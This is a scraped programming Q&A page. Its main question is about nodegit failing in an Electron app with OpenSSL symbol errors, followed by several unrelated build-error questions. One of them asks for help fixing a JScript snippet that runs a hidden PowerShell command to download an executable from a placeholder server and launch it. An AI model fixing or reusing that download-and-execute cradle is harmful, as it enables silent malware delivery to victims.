Using nodegit in Electron app throws "Symbol not found:" errors - javascript

I build a project in electron and, when I done I want to add git support to app.
I try add this, by adding NodeGit to my project.
Simple
npm install nodegit
And create file git.js with only
var NodeGit = require("nodegit");
I run script by
<script id="git" src="assets/scripts/git.js"></script>
unfortunately when I try run my program, I have errors:
dyld: lazy symbol binding failed: Symbol not found: _OPENSSL_init_crypto
Referenced from: /[PATH TO PROJECT]/node_modules/nodegit/build/Release/nodegit.node
Expected in: flat namespace
dyld: Symbol not found: _OPENSSL_init_crypto
Referenced from: /[PATH TO PROJECT]/node_modules/nodegit/build/Release/nodegit.node
Expected in: flat namespace
[11635:0118/162433.596391:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596514:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596556:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596638:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596677:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596702:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596730:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596753:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596894:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596933:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596964:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.597001:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
I try to delete node_modules folder and install npm again.
I try npm rebuild to.
When I put "node -v" I have
V10.15.0
Is any way to fix this issue, or different way to add git support to electron app?
Thanks for answer! :)

Related

Vaadin.. Error from chokidar (C:\): Error: EBUSY: resource busy or locked, lstat 'C:\DumpStack.log.tmp'

i get the following error message when i start my vaadin-app
2022-07-16 14:46:19.276 INFO 14076 --- [onPool-worker-1] c.v.b.devserver.AbstractDevServerRunner : Started Webpack. Time: 17866ms
2022-07-16 14:46:19.426 INFO 14076 --- [v-server-output] c.v.b.devserver.DevServerOutputTracker : Issues checking in progress...
2022-07-16 14:46:20.173 INFO 14076 --- [v-server-output] c.v.b.devserver.DevServerOutputTracker : Error from chokidar (C:\): Error: EBUSY: resource busy or locked, lstat 'C:\DumpStack.log.tmp'
#Route("")
#JsModule("./register.js")
public class RegisterView extends VerticalLayout { ........ }
does anyone know what this is ?
best regards
here the answer this question :)
https://answers.microsoft.com/en-us/windows/forum/all/dumpstacklog-file/eba04d25-bac2-4173-b9d5-b1a8fc47f64e
DumpStack.log.tmp is a hidden file on Windows.
and with the following steps you could you unlock the file :
Open the Registry Editor.
Navigate to "HKEY_LOCAL_MACHINE", "SYSTEM", "CurrentControlSet",
"Control", and finally "CrashControl"
Once you've opened the "CrashControl" key, look at the values pane
to the right and look for "EnableLogFile". If it doesn't exist,
create it. Its type must be "DWORD".
Set its value to 0.
Exit the Registry Editor.
restart your computer

Can't find variable: __TEST__

I'm new at Nativescript. Whenever I try to compile a project on my iPhone; It gives me this exception.
My phone on 14.0 and Nativescript on 7.0.11
Log is there:
2020-12-01 00:12:26.786 nsplaydev[49332:2731673] JavaScript error:
file:///app/tns_modules/react-nativescript/dist/nativescript-vue-next/runtime/registry.js:61:14: JS ERROR
ReferenceError: Can't find variable: _TEST_
2020-12-01 00:12:26.788 nsplaydev[49332:2731673] PlayLiveSync: Uncaught Exception
NativeScript encountered a fatal error: ReferenceError: Can't find variable: _TEST_
at
anonymous(file:///app/tns_modules/react-nativescript/dist/nativescript-vue-next/runtime/registry.js:61:14)

download and execute with javascript

I was trying to use the following javascript to run a powershell cradle
var sh = new ActiveXObject("wscript.shell");
sh.run("PowerShell -command (New-Object System.Net.WebClient).DownloadFile('https://server/file.exe',"$env:APPDATA\file.exe");Start-Process ("$env:APPDATA\file.exe"))",0);
but I get the error message box and don't understand what can be the error
Script: file path
Line: 3
Char: 103
Error: Expected ')'
Code: 800A03EE
Source: Microsoft JScript compilation error
Thank you

ReactNativeJS: C++ Exception in 'nativeRequireModuleConfig'

I have a fully function react native app for iOS. I tried making android version as well. When i tried to run it on simulator it throw the following error :
E/ReactNativeJS: C++ Exception in 'nativeRequireModuleConfig': java.lang.IncompatibleClassChangeError: The method 'java.io.File android.support.v4.content.ContextCompat.getNoBackupFilesDir(android.content.Context)' was expected to be of type virtual but instead was found to be of type direct (declaration of 'java.lang.reflect.ArtMethod' appears in /system/framework/core-libart.jar)
Gradle console :
AGPBI: {"kind":"error","text":"Error converting bytecode to dex:\nCause: com.android.dex.DexException: Multiple dex files define Lcom/google/android/gms/iid/MessengerCompat$1;","sources":[{}],"original":"UNEXPECTED TOP-LEVEL EXCEPTION:\ncom.android.dex.DexException: Multiple dex files define Lcom/google/android/gms/iid/MessengerCompat$1;\n\tat com.android.dx.merge.DexMerger.readSortableTypes(DexMerger.java:596)\n\tat com.android.dx.merge.DexMerger.getSortedTypes(DexMerger.java:554)\n\tat com.android.dx.merge.DexMerger.mergeClassDefs(DexMerger.java:535)\n\tat com.android.dx.merge.DexMerger.mergeDexes(DexMerger.java:171)\n\tat com.android.dx.merge.DexMerger.merge(DexMerger.java:189)\n\tat com.android.dx.command.dexer.Main.mergeLibraryDexBuffers(Main.java:502)\n\tat com.android.dx.command.dexer.Main.runMonoDex(Main.java:334)\n\tat com.android.dx.command.dexer.Main.run(Main.java:277)\n\tat com.android.dx.command.dexer.Main.main(Main.java:245)\n\tat com.android.dx.command.Main.main(Main.java:106)\n","tool":"Dex"}
:app:transformClassesWithDexForDebug FAILED
FAILURE: Build failed with an exception.
* What went wrong:
Execution failed for task ':app:transformClassesWithDexForDebug'.
> com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: java.util.concurrent.ExecutionException: java.lang.UnsupportedOperationException
* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.
BUILD FAILED
Total time: 2 mins 19.746 secs
I'm using following modules in my project :
Any solutions please?
UPDATE:
Logcat from Real Device :
E/AndroidRuntime: FATAL EXCEPTION: mqt_js
Process: com.opencampus, PID: 10821
java.lang.IncompatibleClassChangeError: The method 'java.io.File android.support.v4.content.ContextCompat.getNoBackupFilesDir(android.content.Context)' was expected to be of type virtual but instead was found to be of type direct (declaration of 'com.google.android.gms.iid.zzd' appears in /data/data/com.opencampus/files/instant-run/dex/slice-com.google.android.gms-play-services-gcm-8.1.0_4d535f5b5c1f36628a96d503891e7dd5c3b4eb8f-classes.dex)
at com.google.android.gms.iid.zzd.zzdo(Unknown Source)
at com.google.android.gms.iid.zzd.<init>(Unknown Source)
at com.google.android.gms.iid.zzd.<init>(Unknown Source)
at com.google.android.gms.iid.InstanceID.zza(Unknown Source)
at com.google.android.gms.iid.InstanceID.getInstance(Unknown Source)
at com.learnium.RNDeviceInfo.RNDeviceModule.getConstants(RNDeviceModule.java:83)
at com.facebook.react.cxxbridge.JavaModuleWrapper.getConstants(JavaModuleWrapper.java:130)
at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
at android.os.Handler.handleCallback(Handler.java:739)
at android.os.Handler.dispatchMessage(Handler.java:95)
at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:31)
at android.os.Looper.loop(Looper.java:158)
at com.facebook.react.bridge.queue.MessageQueueThreadImpl$3.run(MessageQueueThreadImpl.java:196)
at java.lang.Thread.run(Thread.java:818)

Sencha touch production build errors

Using touch 2.1.0 and Cmd 3.1.2.342
Whilst trying to create a production version of my sencha app, I get the following error:
[WRN] C1003: Unsupported Ext.define syntax -- C:\wamp\www\touch-2.1.0\axis\nativ
e\appname\touch\src\fx\TimingFunctions.js:109
[ERR] C2008: Requirement had no matching files (Ext.fx.TimingFunctions) -- C:\wa
mp\www\touch-2.1.0\axis\native\appname\touch\src\fx\Abstract.js:959
[ERR] The following error occurred while executing this line:
C:\wamp\www\touch-2.1.0\axis\native\appname.sencha\app\build-impl.xml:165:
It seems to me that it is saying a file called fx/TimingFunctions.js is required by fx/Abstract.js but cannot be found. However, this can't be what it means as the file exists in that folder.
The command I am using is:
sencha app build production
Line 109 of TimingFunctions.js looks like this:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
singleton: true,...
One solution is to change line 109 of TimingFunctions.js from:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
to:
Ext.define('Ext.fx.TimingFunctions', {
and change line 136 of the same file from:
}, EasingPrototype));
to:
}, EasingPrototype);
This then allows the build to go ahead.
However, when I then view the production app in the web browser, it freezes and I get the following error
Uncaught TypeError: Object # has no method 'call' process sencha-touch-all-debug.js:6767
(anonymous function) process sencha-touch-all-debug.js:6774
(anonymous function) sencha-touch-all-debug.js:6779
Ext.apply.onBeforeCreated sencha-touch-all-debug.js:5196
process sencha-touch-all-debug.js:5262
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
Ext.apply.process sencha-touch-all-debug.js:5272
Ext.Class.ExtClass sencha-touch-all-debug.js:5183
Ext.ClassManager.create sencha-touch-all-debug.js:6725
Ext.apply.define sencha-touch-all-debug.js:7407
(anonymous function) TimingFunctions.js?_dc=1379403994382:109
(anonymous function) TimingFunctions.js?_dc=1379403994382:138
There was a spelling mistake in the files fx/Abstract.js and fx/TimingFunctions.js
Actually, it's not a spelling mistake - more like a grammatical error.
Abstract.js calls a function in TimingFunctions.js. in Abstract.js it is referred to as EasingMap, where as in TimingFunctions.js it is called easingMap

Categories